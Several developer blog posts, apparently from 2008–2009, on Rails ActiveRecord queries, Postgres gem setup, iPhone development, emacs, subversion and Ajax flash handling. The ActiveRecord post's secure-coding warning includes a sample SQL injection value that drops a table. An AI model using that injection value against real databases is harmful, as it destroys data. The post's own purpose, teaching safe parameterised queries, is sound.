Unrelated to callbacks, but a useful debugging tool to figure out what caused your code to be in it's current context, use Kernel.caller to get a list of filenames and methods of the call stack. It's usually pretty noisy, so I use Enumerable#grep to filter for what I'm interested in.

Kernel.caller.grep /supplier/

The combination of these 3 tips have helped me debug strange callback order bugs, as well as help me learn about a complex model that I've never dealt with before. Unfortunately, I put off writing about this topic for so long that I've forgotten some of the tips. As always, I found reading into the ActiveRecord and ActiveSupport code to be particularly enlightening. If you have some other interesting introspection tips that help you develop, please share them in the comments ;)

Ruby Postgresql Gem Cleanup

Jerry Cheung — Tue, 14 Apr 2009 00:00:00 +0000

I ran into some trouble with getting a good native postgresql driver installed. Here are some links and resources I found to be useful. I also wrote a checklist for bootstrapping a new Rails app with postgres as the adapter.

There are several choices for postgresql adapters. The most active and up-to-date one appears to be ruby-pg, previously known as ruby-postgres. ruby-pr was the one I was using originally, but this one is non-native and unmaintained.

A good starting point was Robby's 'Installing Ruby on Rails and Postgresql on OS X 2nd edition. ShiftEleven also had detailed instructions for installing postgresql with macports.

The exact steps I took that worked for me were:

# start postgres on computer start.
sudo launchctl load -w /Library/LaunchDaemons/org.macports.postgresql83-server.plist

# the ARCHFLAGS is because of Leopard weirdness.
sudo env ARCHFLAGS="-arch i386" gem install pg

Fast Tracked iPhone Development

Jerry Cheung — Fri, 10 Apr 2009 00:00:00 +0000

Jumping into a new language, a new framework, and a new set of tools is overwhelming! But the best way to learn is to be utterly crushed by the technology, then have friends pick up the pieces. Once you've seen a good broad overview of what's available, you're more capable of finding resources on your own. Here is my chronological step by step guide to getting bootstrapped.

Ready...

I don't have an iPhone (yet). One criteria for me to buy the iPhone is whether developing for the device is fun. You'd think this would prevent me from developing, but Apple's iPhone SDK includes an emulator. The SDK is a huge, so start downloading right now.

1 hour+

Download the iPhone SDK and install it.

Set...

While you wait, check out Apple's video overviews. They're really slim on technical content, but help familiarize you with how the frameworks are organized. I read the documents with the videos playing the in background. The videos are too slow paced to watch by themselves.

2 hour chunks until your brain goes numb

After you get sick of the market-speak hype, familiarize yourself with the patterns and concepts behind Objective-C and the Cocoa framework.

3 hours

Understanding the lifecycle of an iPhone application can help you understand how the different pieces of an app fits together.

1 hour

iPhone Application Programming Guide: The Core Application

Go!

Watching a lot of videos and reading a lot of documents is a good start, but it really doesn't stick until you apply it. At this point, I had to struggle with the language, the framework, Xcode, and Interface Builder. To keep your sanity, I recommend working through Apple's sample projects. If you get bored, I recommend flipping through Appsamuck for some good examples.

Each apps takes about an hour to go through

Appsamuck - 31 small apps to practice on.

Keep it up

I'm very lucky to have my iPhone gurus Mike, Stephen, and Allen on hand to teach me best practices and tips and tricks as I go along. If anyone feels like doing a hack session for a few hours on weeknights, ping me at jch at this domain. I'll update this post with more useful bootstrapping links as I go along.

Stanford iPhone class - comes with a podcast.
code completion - ESC to show possible completions, ctrl-/ to jump to next placeholder argument.

Adventures with ActiveRecord find

Jerry Cheung — Wed, 8 Apr 2009 00:00:00 +0000

Retrieving records from the database and mapping the results into ActiveRecord models are a big part of every Rails app. A large majority of your controllers will retrieve one or more ActiveRecord models. For something as important and fundamental as 'find', knowing more of it's options and idioms can help you write less, write it more elegantly, and do more.

For starters, let's look at the basic form.

Fruit.find(1)  # single integer id
Fruit.find(params[:id])  # single string id
Fruit.find(@user1, @user2)  # by list
Fruit.find([@user1, @user2]) # by array

This is how you find a record given an id. When you search like this, it will raise ActiveRecord::RecordNotFound if no record can be found. This exception is what causes the 404 page to load in your controllers when you hit a URL for a record that doesn't exist. You can emulate this by explicitly raising RecordNotFound if you don't want a user to access a certain record.

@banana = Fruit.find(5)

# pretend that no record was found and show a 404 page.
if @banana.rotten?
  raise ActiveRecord::RecordNotFound.new
end

First, Last, All

Fruit.find(:first)
Fruit.first
Fruit.find(:last)
Fruit.last
Fruit.find(:all)
Fruit.all

These methods do what you expect them to. I prefer using the shortcut methods 'all', 'first' and 'last', rather than explicitly saying Fruit.find(:first). The order for :first and :last is the 'id' of the table. Think of 'first' as the first inserted record, and 'last' as the most recently inserted record.

Something I would like to see more people using is the shortcuts in conjunction with find's arguments. Instead of:

Fruit.find(:all, :conditions => { :color => 'yellow' })

I prefer the shorter:

Fruit.all(:conditions => { :color => 'yellow' })

This works with all 3 shortcut methods. It also works with all of the options that the normal find method accepts.

Conditions

Conditions are what get translated into the WHERE clause in the SQL statement. There are 3 different way to specify your conditions: the String form, the Array form, and the Hash form.

String Conditions

The string form is easy to understand and is useful for querying specific known values.

Fruit.all(:conditions => "name = 'banana' OR name = 'apple'")

DO NOT use the string form for tainted values that come in from submitted web forms. The String form does not escape values for you and can cause SQL injection attacks if you aren't careful. For example:

# DO NOT do this!
Fruit.first(:conditions => "name = '#{params[:name]}')

While this may look harmless at first, there's no guarantee that params[:name] is a safe value. It could very well have the value

# dangerous params[:name] value
'; DROP TABLE fruits;

When you interpolate that value into the condition string, you end up dropping all your delicious fruits! When you need to do a find based on unsafe web input, use the Array and Hash forms instead. Both of these will escape and quote the values properly.

Array Conditions

Using the same example, we could write that last dangerous query as:

Fruit.first(:conditions => ["name IN (?) OR color = ?", params[:keywords], params[:color]])

This works, but gets kind of ugly when you have a lot of values to interpolate. To make it more readable, you can name your interpolations in a hash instead of using '?'.

Fruit.all(:conditions => [
  "name IN (:keywords) OR color = :color",
  {
    :keywords => params[:keywords],
    :color    => params[:color]
  }
])

Finally, we come to my favorite and most used form of condition.

Hash Conditions

I find this style to be the most readable for equality and SQL IN conditions. It keeps the column name close to the value being queried. If the value is an Array, then ActiveRecord knows to use the SQL IN operator.

Fruit.all(:conditions => {
  :name  => params[:keywords],  # SQL - name IN ('banana', 'apple')
  :color => params[:color]      # SQL - color = 'yellow'
})

If you use :joins or :include to pull in associations, you can still use the Hash form to do equality comparisons. For example:

Fruit.all(:include => [ :company ], :conditions => {
  "company.name"  => params[:company_name],
  "company.phone" => params[:phone],
  :color          => params[:color]
})

In general, I like using the String form to do short hardcoded SQL queries like "aroma IS NULL". The Hash form is ideal for conditions that only use the equality operator. The Array form is the most general purpose; I try to use the named arguments version when using the Array form.

Associations

You can use the :include or :joins to pull in a model's associations if you want to use them in the find's :conditions, or if you want them to be eager loaded in the results. :include uses 'LEFT OUTER JOIN' and :joins uses 'INNER JOIN'. Both forms can take a raw SQL string, or symbols for what associations to follow.

# fruits LEFT OUTER JOIN companies ON companies.id = fruits.company_id
Fruit.all(:include => [ :company ])

# fruits INNER JOIN companies ON companies.id = fruits.company_id
Fruit.all(:joins => [ :company ])

You can follow associations arbitrarily deep:

# fruits LEFT OUTER JOIN companies ON companies.id = fruits.company_id LEFT OUTER JOIN employees ON employees.company_id = company.id LEFT OUTER JOIN profiles.employee_id = employees.id
Fruit.all(:include => [ { :company => { :employees => :profiles } } ])

Multiple associations work too:

Fruit.all(:include => [ :company, :farm ])

For more examples, google 'rails eager loading', and read up about Rails Eager Loading. Use :joins when an inner join is sufficient. This will give you faster queries, and cleaner log output.

Making Results Things Unique

When you do multiple joins or includes, you may end up with duplicates in the results. Rather than removing the duplicates in code, let ActiveRecord handle it.

Fruit.all(:select => "DISTINCT fruits.*", ...)

Mapping Fewer Columns

By default, all selects will select all columns (SELECT * FROM ...). If you know ahead of time that you'll only be using a few specific columns, specify them with :select and large queries will feel noticeably faster.

@banana = Fruit.first(:select => 'id, name')
@banana.id    # ok
@banana.name  # ok
@banana.color # raise ActiveRecord::MissingAttributeError

This is especially useful when writing data migrations that only need to modify a specific column's data. Make sure you include 'id' because it's not included by default.

Named Scopes

named_scope is great. Everything you learn about 'find' applies to named_scope. It's a great way to compose complex queries.

It's like eating your vegetables...

Grokking the various ways to retrieve database rows and control how they are mapped into models by your ORM will make you a stronger developer regardless of what framework you're using. There'll be less code to maintain, and that code will be both readable and concise. Spend an afternoon and read the documentation for find, eager loading, and named_scope. I promise that even if you've been doing Rails for a while, you'll pick up on an option or a style that you hadn't seen before.

Rails 2.2.2 Chicken and Egg Migrations Headache

Jerry Cheung — Tue, 17 Mar 2009 00:00:00 +0000

For this upcoming March release, we plan to upgrade from Rails 2.1 to Rails 2.2.2. When testing bootstrapping fresh instances of our app, we ran across an annoying migrations problem. Read on to see how we resolved it.

The bootstrap process for our app is pretty straightforward. We prepare the new empty database by loading db/schema.rb from our last stable release. db/schema.rb is kept in sync as we move from one release to the next. Once the structure of the database is created with db:schema:load, we setup initial defaults in the app by loading yaml fixtures via a custom db:seed:load rake task.

desc "Initialize database"
task :seed, :roles => :app do
  run <<-CMD
    cd #{current_path} &&
    rake db:schema:load &&
    rake db:seed:load SRC=db/blank SEEDS=all
  CMD
end

Easy peasey right? I was very annoyed when db:schema:load stopped dead in it's page long backtrace. The offending error was:

Mysql::Error: Table 'coupa_blah.setup doesn't exist: SHOW FIELDS FROM `setup`

Looking a little deeper, it became apparent that models and controllers assumes the existence of the 'setup' table, and reference it when they are loaded for configuration settings. However, the 'setup' table is created and populated by db:schema:load and db:seed:load. Chicken and egg, you have foiled me again!

I knew it was a problem with class caching because when I tried running db:schema:load in development mode, it worked without a hiccup. Rails::Configuration told me that there is a variable eager_load_paths that determines where to eager load. In our environment.rb, I added this to the Rails::Initializer block:

# Hint: this doesn't fix our problem!!
config.eager_load_paths = []

At first glance, this not only fixed the db:schema:load problem, but had the added side benefit of speeding up start up times of Passenger app servers, and script/console. Of course, it was too good to be true. I soon realized that weird things in our app were broken. We were getting method undefined errors on classes that obviously had them. It was frustrating, but at least I know I'm not alone. It turns out that we need our model classes to be eager loaded. I ended up turning eager loading back on and adding this hack to environments/production.rb:

# kids, this is what an ugly hack looks like. Don't worry, Rails
# 2.3 will fix this.
config.cache_classes = (File.basename($0) == "rake" && !ARGV.grep(/db:/).empty?) ? false : true

If cache_classes is false, then the paths in eager_load_paths is ignored, and no eager loading is done. The conditional basically turns off eager loading for any rake task within the 'db' namespace. The hack was already there, but the previous version specifically looked for 'db:migrate', whereas this one will exempt db:schema:load and db:seed:load as well.

Fortunately, according to the lighthouse ticket on this issue, it looks like Rails 2.3 will default to turning off eager loading of classes for rake tasks. Until then, this hack will have to do.

Rails and Gems Documentation Everywhere

Jerry Cheung — Sat, 28 Feb 2009 00:00:00 +0000

A great thing about Coupa work is how I can hack it up without a network connection. The codebase is checked out and I run mysql locally. I fire up emacs and a script/server and I'm pretty much good to go. The only downside is not being able to access the rails and gems docs. Here's what I did to put together a productive local setup.

Update: 2009-03-30 Jason Seifer of RailsEnvy does a better job of explaining the process than I do.

Note: For the rest of this guide, I'm going to assume you have ruby and gem installed via MacPorts. If they aren't, change the directories in the commands appropriately.

Gems

First of all, let's generate the documentation for all of your gems. If you're more accustomed to the layout of Rails documentation, then install Jamis's rdoc template.

# this step is optional
cd /opt/local/lib/ruby/1.8/rdoc/generators/template/html
sudo mv html html.original.rb
sudo curl -o html.rb http://www.whatcodecraves.com/articles/2009/02/28/rails_and_gems_documentation_anywhere/rdoc_template.rb

(The link to the original template was broken for me.)

Now actually generate the rdocs.

sudo gem rdoc --all

After the command finishes, start a gem server so you can browse the docs:

gem server --daemon

Point your browser at the gem server.

Rails

You'll notice that no rdocs were generated for the Rails gem. This is because the rdoc task is intended to be run from the root of a frozen Rails app. This is amazingly annoying, but is a solved problem. Basically, you have to freeze Rails in your app, rdoc it, unfreeze it, and copy over the rdocs.

cd myapp
rake rails:freeze:gems
rake doc:rails
rake rails:unfreeze
sudo cp -R doc/api/ /opt/local/lib/ruby/gems/1.8/doc/rails-2.1.1/rdoc/

Now you can code from anywhere! As an added bonus, the docs will load blazingly fast.

Another .irbrc Jewel

Jerry Cheung — Wed, 18 Feb 2009 00:00:00 +0000

A while back, I discovered the magical .irbrc. If you scroll down to the comments, Arthur and I left a tip on how to view arbitrary script/console output in Textmate. It's really amazing for XML or big chunks of output. Other useful irb links after the fold.

Stephen Cells mentioned the utilitybelt ngem. It might be overkill, but I'll probably pick through for a few good bits.

I added another snippet to my .irbrc for copying stuff to the clipboard on OS X.

class Object
  def pbcopy(string)
    IO.popen('pbcopy', 'w') { |f| f.puts(string) }
    nil
  end
end

Multiple Gmail Accounts on OSX Done Right

Jerry Cheung — Wed, 11 Feb 2009 00:00:00 +0000

I learned this tip from Seggy and I've explained it to several people already. If you've fallen in love with Gmail's web interface, then you're going to love this solution.

One annoyance I have on my work laptop is switching between work email and personal email. For the longest time, I suffered with using Apple Mail for work stuff and Gmail's web interface for my personal mail. I hate Apple Mail, and I hate IMAP and all it's syncing headaches. Gmail's web interface is the exact opposite. It's accessible everywhere, stays in sync, and has the best search and organizing features. My dilemna: How can I get my 2 email accounts to be into desktop applications, but keep that same amazing web interface?

Enter Fluid.app. Put simply, it's an application that creates OSX app's from web pages. The generated app have menulets, so you can replace Google Notifiers. Fluid also lets you skin web pages with Javascript and CSS if you're inclined.

After you install Fluid, make sure you download these gorgeous Gmail icons.

When you fire up Fluid, fill in the following information:

Choose one of the icons you just downloaded. I use orange for personal mail, and Coupa blue for work email. When you finish, launch the apps, login to Gmail, and viola!

Here's what my dock looks like. Note how there's an indicator for the number of unread messages in my mailbox. Sweet!

Update: Since I told people about my solution, I heard about two interesting alternatives. Postbox Inc is a free program, and Mailplane App costs $24.95. Both of them were amazing apps, but fell slightly short of my expectations. They both had very polished UI's, and were both quick to download and get up and running. Postbox was immediately out of the running when I saw that it used POP/IMAP. Mailplane was a much more interesting candidate. It's great because it embeds the Gmail interface in the main window, but gives you OS X menus and drag&drop functionality. My favorite features were the screenshot taker and drag and drop attachments. It feels more like a native desktop app than my Fluid solution. Alas, I couldn't use it because of one minor pitfall. Mailplane allows you to have multiple accounts, but you have to switch between them. From the looks of it, you can only have one 'active' account at a time. This prevents me from having my accounts in separate windows, which is one of my requirements. I think both of these apps are probably better than Apple Mail, and they'd be great apps if you don't mind IMAP, or if you only have a single account.

Emacs Refactoring

Jerry Cheung — Fri, 6 Feb 2009 00:00:00 +0000

While I waited for Coupa customers to be upgraded, I decided to clean up my .emacs config file. My .emacs was never a pretty thing to admire. Without any restraint, I often added whatever cool code snippet I came across online. The file became verbose, redundant, and a general mess. I set out to make it more modular and easier to follow.

The first thing I wanted to fix was this really ugly section where I manipulate the load-path and load my plugins. I created a convention to install each plugin in it's own folder, and to have a install hook for each plugin. For example, the ruby plugin looks like:

~/.emacs.d/plugins
  ruby
    ruby.el
    load-ruby.el

Previously, I added the following 2 lines for every plugin.

(add-to-list 'load-path "~/.emacs.d/plugins/ruby")
(load "load-ruby.el")

But thanks to the EmacsWiki, I learned about normal-top-level-add-to-load-path. In the finished version, I put the plugin names in a list and iterate over them:

;;; ### Plugin Initialization ###
(setq plugins-to-load
  '("harvey-navigation" "javascript" "dsvn" "ruby" "ido"))

;; add to "~/.emacs.d/plugins/__plugins-to-load__ to load-path
(let* ((my-lisp-dir "~/.emacs.d/plugins")
       (default-directory my-lisp-dir))
  (setq load-path (cons my-lisp-dir load-path))
  (normal-top-level-add-to-load-path plugins-to-load))

;; run the init file for the plugin
(mapcar (lambda (plugin-name)
          (load (concat "load-" plugin-name ".el")))
        plugins-to-load)

In the process of changing how plugins are loaded, I removed several plugins that I never used. This lowered my emacs load time by a large perceptible amount.

My .emacs isn't something I work with very often, but I derived a fair amount of satisfaction that the next time I need to tweak something, I'll know it won't suck.

You can find the finished config here.

Rails-like Javascript Date Helpers

Jerry Cheung — Sun, 11 Jan 2009 00:00:00 +0000

I'm a fan of ActiveSupport::CoreExtensions::Time::Calculations. It gives you easy to use methods like beginning_of_day, end_of_day, beginning_of_week, end_of_day, etc. These methods make date handling code more concise and more readable. I wanted the same benefits in Javascript, so I've ported over a subset of these methods and mixed them into Javascript's Date object. Read on for the code.

Here are a few examples of what you can do with these date extensions:

// Mon Jan 12 2009 13:30:00 GMT-0800 (PST)
var monday = new Date(2009, 0, 12, 13, 30, 0);

// Wed Jan 14 2009 13:30:00 GMT-0800 (PST)
var wednesday = new Date(2009, 0, 14, 13, 30, 0);

// Fri Jan 16 2009 13:30:00 GMT-0800 (PST)
var friday = new Date(2009, 0, 16, 13, 30, 0);

wednesday.between(monday, friday);  // true

wednesday.beginningOfDay(); // Wed Jan 14 2009 00:00:00 GMT-0800 (PST)
wednesday.endOfDay(); // Wed Jan 14 2009 23:59:59 GMT-0800 (PST)

wednesday.beginningOfWeek(); // Sun Jan 11 2009 00:00:00 GMT-0800 (PST)
wednesday.endOfWeek(); // Sat Jan 17 2009 23:59:59 GMT-0800 (PST)

wednesday.beginningOfMont(); // Thu Jan 01 2009 00:00:00 GMT-0800 (PST)
wednesday.endOfMonth(); // Sat Jan 31 2009 23:59:59 GMT-0800 (PST)

Here's the code:

Date.prototype.between = function(start, end) {
  return (start <= this) && (end >= this);
};

Date.prototype.beginningOfDay = function() {
  var newDate = new Date(this);
  newDate.setHours(0);
  newDate.setMinutes(0);
  newDate.setSeconds(0);
  return newDate;
};

Date.prototype.endOfDay = function() {
  var newDate = new Date(this);
  newDate.setHours(23);
  newDate.setMinutes(59);
  newDate.setSeconds(59);
  return newDate;
};

Date.prototype.beginningOfWeek = function() {
  var newDate = new Date(this);
  var offsetToBeginning = newDate.getDay();
  newDate.setDate(newDate.getDate() - offsetToBeginning);
  return newDate.beginningOfDay();
};

Date.prototype.endOfWeek = function() {
  var newDate = new Date(this);
  // Saturday = 6
  var offsetToEnd = (6 - newDate.getDay());
  newDate.setDate(newDate.getDate() + offsetToEnd);
  return newDate.endOfDay();
};

// 0 = january, 1 = feb, ...
// does not account for leap years
Date.DAYS_OF_MONTH_MAP = [
  31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31
];

Date.prototype.daysInMonth = function() {
  return Date.DAYS_OF_MONTH_MAP[this.getMonth()];
}

Date.prototype.beginningOfMonth = function() {
  var newDate = new Date(this);
  newDate.setDate(1);
  return newDate.beginningOfDay();
};

Date.prototype.endOfMonth = function() {
  var newDate = new Date(this);
  newDate.setDate(newDate.daysInMonth());
  return newDate.endOfDay();
};

I did not need every method that ActiveSupport provided, so I stuck with implementing only the ones I needed. It's pretty straightforward to write the rest of the methods if they're needed.

Rails Flash with Ajax

Jerry Cheung — Sat, 13 Dec 2008 00:00:00 +0000

One small annoyance about working with the flash in Rails is that it only works well if you render separate pages per action. The flash falls apart if you do an Ajax call and render an RJS template or some inline javascript. The flash won't show up when it should, and it'll show up on some other page when you don't want it to. I made 2 small changes to my app to make flash behave better when an Ajax call is made.

The first trick is something I learned at work. First, we need to extract the rendering of the flash into a partial in 'app/views/layouts/_flash.html.erb'. This will allow us to render the flash in a normal template, but also allow us to replace the flash in an inline render. In my main template, I do a normal:

<div id="flash_messages">
<%= render :partial => 'layouts/flash' %>
</div>

To refresh the flash when an Ajax request happens, I add a 'reload_flash' method to ApplicationHelper:

def reload_flash
  page.replace "flash_messages", :partial => 'layouts/flash'
end

Then from my RJS templates or from a render :update block, I can call the reload_flash to refresh the flash inline:

# within a controller action
render :update do |page|
  flash[:notice] = "Entering 'beast mode'..."
  page.reload_flash
end

This all seems fine and dandy until you visit another page. Unfortunately, the flash is not cleared because you haven't visited another action, so you end up with the flash message redundantly displaying a 2nd time. To fix this, I added an after_filter to ApplicationController to clear the flash after an action if it was an Ajax request:

class ApplicationController < ActionController::Base
  after_filter :discard_flash_if_xhr

  protected
  def discard_flash_if_xhr
    flash.discard if request.xhr?
  end
end

Easy isn't it? The catch here is to remember to call reload_flash whenever you're doing an inline render.

Another useful tip plugin for working with the flash is the flash-message-conductor plugin. I use it to controll the logic of when to show the flash, and also control some animations for hiding and showing the flash. It's a nice simple plugin.

OS X GUI Tool 'HTTP Client'

Jerry Cheung — Mon, 8 Dec 2008 00:00:00 +0000

Kyle sent out this amazing tool for testing and debugging at the HTTP level. This would've been a lifesaver a few weeks ago when I was working on RESTful API stuff for work, but better late than never.

The idea of the app is amazingly simple. It lets you specify the type of http request you want to make, the header options, and the body. The beauty of doing it in a GUI instead of from the command line with curl is that there are dropdowns for the hard to remember header options, and that you can paste fat hunks of XML into the body field. It's also awesome because you can open multiple windows and have each of those be a re-runnable http client.

HTTP Client is 99% perfect app for my uses. The single feature that would push it to being a perfect app would be a cookie-jar so that sessions can be saved.

How to Make an API for a Rails App

Jerry Cheung — Tue, 25 Nov 2008 00:00:00 +0000

I've come across the same problem in my personal projects and also at work. You have an existing Rails app that has some authentication and authorization scheme to protect who has access to your controllers, but now you need to write an API that can access those controllers. How do you keep the same authentication routine for your API users?

The are two approaches I've seen used. One is based on using HTTP AuthBasic, and the other is to generate a unique API key for API users.

Option 1: HTTP Basic Auth

I learned this snippet from working with Mike. Rails 2.x support HTTP Basic Auth out of the box. For our app, we check the request format and only do basic auth if the format is xml.

class ApplicationController < ActionController::Base
  protected
  def http_basic_authentication
    if request.format == Mime::XML
      authenticate_or_request_with_http_basic do |username, password|
        username == 'foo' && password == 'bar'
      end
    end
  end
end

Then for controllers that allow API access, we simply add a before filter.

class OrangesController < ActionController::Base
  before_filter :http_basic_authentication, :only => :create

  def create
    # do stuff
  end
end

Then to create an Orange via the API, we could do:

# we expect an XML response, so we suffix url with 'xml'
# optionally, we can also add 'foo:bar@' before the domain name.
url = URI.parse("http://example.com/oranges.xml")

req = Net::HTTP::Post.new(url.path)
req.basic_auth 'foo', 'bar'

req.set_form_data({'size' => 'large', 'juicy' => '1'})
http = Net::HTTP.new(url.host, url.port)
response = http.start {|http| http.request(req) }

(Note: Beware of ssl, remember to set http.use_ssl = true)

Options 2: Using API key

I didn't know about HTTP Basic Auth when I was writing my Money app, so I took a little time to fully understand how Rail's ActionController::Filters work. The documentation is clear and the source is straightforward to understand.

For API authentication, I decided to write my own custom filter object and put it in lib/api_authorized_filter.rb

# Use this filter as an around_filter around actions that can be
# accessed via the API.
#
# Example:
#   class ItemsController < ApplicationController
#     prepend_around_filter ApiAuthorizedFilter.new, :only => [:create]
#   end
#
class ApiAuthorizedFilter
  def before(controller)
    return true unless controller.params[:api_key]
    controller.current_user = User.find_by_api_key(controller.params[:api_key]))
  end

  def after(controller)
    controller.current_user = nil
  end
end

ApiAuthorizedFilter is put at the very beginning of the filter chain with prepend_around_filter, before any normal authentication before_filters. When it's called, the before method is invoked with the current controller, and the filter 'logins' an API User if the api_key is valid. When my normal authentication filters run, they won't halt because it'll seem like there is a logged in user. Finally, when the action is finished running, the after method will log out the API User to prevent a User from staying logged in. This last step is optional, but I think it's better to only let API Users authenticate every time they need something.

In order to use this Filter, you'll have to add an 'api_key' column to your User model, and also tweak the before and after code to login and logout the user.

Which one should I use?

I personally like the latter because the api key gives me another way to reference a logged in user. Since the api key is independent of a user's login and password, it's also easier to replace the key without resetting the user's web credentials. Of course, you can make both methods work the same way, so it's really a matter of personal taste.

Deploying into the Night

Jerry Cheung — Sat, 8 Nov 2008 00:00:00 +0000

Yesterday was an emotional roller coaster of brutality and awesomeness, mixed with a good share of productivity. The day started off innoculously enough. I checked my incoming tickets, went through my email for tasks to do on my projects, scrummed with the team, and enjoyed a delicious steak lunch on the house...

Waah? Steak lunch at Porterhouse? Thanks to our awesome admin, Jules, Kyle, Lee, and myself got to relax and chat over some juicy meat and a cold beer. I had an especially good time talking to Lee since I haven't made a big effort to talk to coworkers outside the dev team. It made me appreciate what it takes to run a company efficiently, and also what kinds of features other internal users care about. Kyle's sexy and all, but I get to see and talk to him everyday :).

Lunch was fantastic, but as I drew closer and closer to dinner time, the situation looked worse and worse. The planned upgrade time for our 105 customer environments was scheduled to occur at 6:00pm. I felt like I had a good grasp of the bugs I was working on, so I thought I'd lend a hand to the Operations team by making one of my slow migrations run faster so they could go home earlier. In doing so, I realized that my migration wasn't comprehensive enough to cover all the bad cases. I was super thankful that this bug was caught with only 15 minutes left before the scheduled downtime.

Of course, when I found this bug, I felt uneasy deploying the changes without some heavy duty QA. I thought I would stick around just to make sure the migrations wouldn't croak. I thought to myself, how long could this possibly take?

We started the process off by disabling customers from accessing the application and putting a placeholder HTML page. Seggy quickly cancel'ed this action because his phone started getting notifications from Pingdom because the site uptime checkers hadn't been paused. Next the migrations were run for all the instances and they seemed to work ok. I breathed a sigh of relief, and told Wendy that I'd be heading home at any moment...

An hour or so later, we were finally able to check off the verification tasks in Google Docs for some custom PDF template changes. These were super annoying to deal with and didn't work right away because we had bad merge data between trunk and stable. But we did finish, I breathed a fresh sigh, and I apologized to Wendy and reassured her again that I'd be leaving soon...

Another hour or so later, we solved custom LDAP mixin code for the single customer who used LDAP. Because we refactored out most of our config to use Simpleconfig, we were having issues deciding where to put the custom LDAP code. This lead to a wild goose chase because the load order of when the custom code was mixed in determined if it worked or not. Worse yet, we found another code error where the LDAP authentication code wasn't run at all. This took some diff-ing and merging to fix up.

I finally left the office 5 minutes to 11pm. My heart was pumping like mad from fixing those problems, my stomach was growling like crazy, and my brain was turning off at an exponential rate. It was quite a rush to help out with the deployment. The key lesson I took away from that was how big a maintenance nightmare customer-specific features are. I understand why they were done, but if they weren't there, none of the problems would've shown up and we would've finished hours ago.

I had already thought Lee and Seggy were amazing coworkers, but now I have a new level of respect for them. I'm also super sorry to Wendy and Serena for putting up with us taking so long. I felt especially guilty that the custom PDF templates wasn't a smooth transition because I wrote the fixes for it.

Subversion for the Lazy

Jerry Cheung — Fri, 7 Nov 2008 00:00:00 +0000

I've been asked about subversion enough times to justify writing this quick and dirty article to save me future time. Read this guide if you absolutely need to get subversion working ASAP. Otherwise I highly recommend going through the svn book for more background information and advanced usage.

Bare Minimum Background

You will NOT be able to do anything right in subversion unless you understand WHY it exists. Subversion might be a pain in the ass, but that wasn't why it was created. Subversion is version control software that is supposed to help programmers organize their code. If you use it correctly, it'll fix all of the following problems:

taking notes about the changes you were working on.
going backwards in time to an older non-broken copy of a file.
merging changes from multiple programmers on the same file.

This all starts with a subversion repository. Think of the repo as the original copy of your files. Instead of making changes on the original copy, you checkout a working copy and make changes to that. When you're satisfied with the changes you made in your working copy, you commit the changes back to the repository. Here is the absolute simplest case of using svn:

Checkout a Working Copy

svn checkout svn+ssh://address.to.subversion/repository myworkingcopy

The 'checkout' command makes a copy of the repository and puts it into a folder named myworkingcopy.

Make Your Changes

Edit any of the files in your working copy. These changes will only be in your working copy until you commit them back to the repository. This means that if you make changes, and another person does a fresh checkout, they will not see your changes. If you decide to create any new files in the working copy, you need to let svn know with the 'svn add' command.

svn add new_file1.txt new_file2.java new_file3.avi

You can add any number of arbitrary new files.

Commit Your Changes

Before you commit, you want to double check the changes you made. First type:

svn status

This lets you know what's being committed. 'M' means modified, 'A' means added, and '?' means it's a new file that hasn't been added. Read the last section for adding.

When you're happy with the files to be committed, type

svn commit

This will bring up your editor to type a note about what the changes in this commit are. If it says that no editor is set, google how to set EDITOR in bash. After the commit succeeds, anyone else who does a fresh checkout or an 'svn update' will get the changes you just committed.

Pulling Changes from the Repository

If multiple programmers are using the same repository, then at some point you'll have to pull changes from other programmers. Instead of doing a fresh checkout every time, simply run

svn update

to bring in all the changes from the remote repository. It's a good idea to get in the habit of updating before you make your changes because otherwise you'll have to do unnecessary merging. Read about merging in the svn redbook.

Cheatsheet

To summarize:

svn checkout http://svn.somehost.com/path/to/repository my_own_copy
cd my_own_copy
(edit the files in my_own_copy)
svn add my_own_copy/new_file1.txt
svn status
svn commit

Common Issues

If svn ever says, '.' is not a working directory, then it means you are not currently in a working copy. The working copy is what you named the folder when you originally checked it out. See section about 'checking out'.

Never mix and match folders from different working copies. If you want to use mv, or cp, or copies files in and out of the working folder, read about 'svn copy' and 'svn move'.

If you try to add a folder, and it says it's already been added, then you probably meant to add the files within the folder. Simply do a 'svn add -R folder_name' to do a recursive add of all files in the folder.

All subversion commands start with 'svn'. To get a list of all commands, type 'svn help'. To get help on a command foo, do 'svn help foo'.

If you're on a Mac and you suck at Terminal, then go get svnX. If you're on windows, get Tortoise SVN.

Final Hints

This guide is for lazy people who won't spend 20 minutes to read and understand the subversion guide. I guarantee you'll save hours and hours of headache if you just take the time to learn it properly. This is the bare minimum to get started, and if you still have questions after this, go and read the svn red book. Learn about merging, learn about diff's, and learn how version control works. You'll not only help yourself in the long run, but you'll save the people you work with lots of time too.

Dump Test Data from Production to Development with yaml_db

Jerry Cheung — Fri, 7 Nov 2008 00:00:00 +0000

For Money app, I ran into a problem with the charts drawing ugly x-axis when the datapoints were too close together. I didn't want to reproduce the problem locally because it would involve a lot of data entry. So I set out to look for some sensible solutions.

The first thing I did was look through Rail's default database Rake tasks. The most promising of these was 'db:schema:dump', but unfortunately, this only dumped the database schema structure without dumping the actual rows. Then I remembered hearing Adam Wiggins talk about Heroku a few weeks back. I remember being impressed by his product pitch. But more importantly, I remember Heroku had this feature of uploading your existing data to be imported into their database. So I looked through Wiggin's github repo, and sure enough, yaml_db was there.

The README is pretty self-explanatory, and it worked as advertised. I remember Wiggins mentioning that Heroku had problems with loading yaml files on the order of gigabytes, but this isn't really won't be an issue for me for a while.

I know that at Coupa, we have our own in-house solution for cloning production instances for testing purposes. There is a Capistrano task for it, and it has extra logic to reset all passwords and overwrite user emails with generated ones. I'll look into that when I have a need for it.

Building Webapp Menus

Jerry Cheung — Thu, 30 Oct 2008 00:00:00 +0000

One feature we're releasing for this sprint is a quick access menu on every page for the common day-to-day actions used in Coupa. Previously, a user would either have to bookmark the common urls they used, or dig through the cluttered Administration page to find what they wanted. For our app, we needed something more expressive than a simple web navigation because there are simply too many actions for a user to take.

Before I bore you with all the reasoning and technical mumbo-jumbo, this is what the final menu looks like. All the sexiness is provided by the mad skills of Kyle and David.

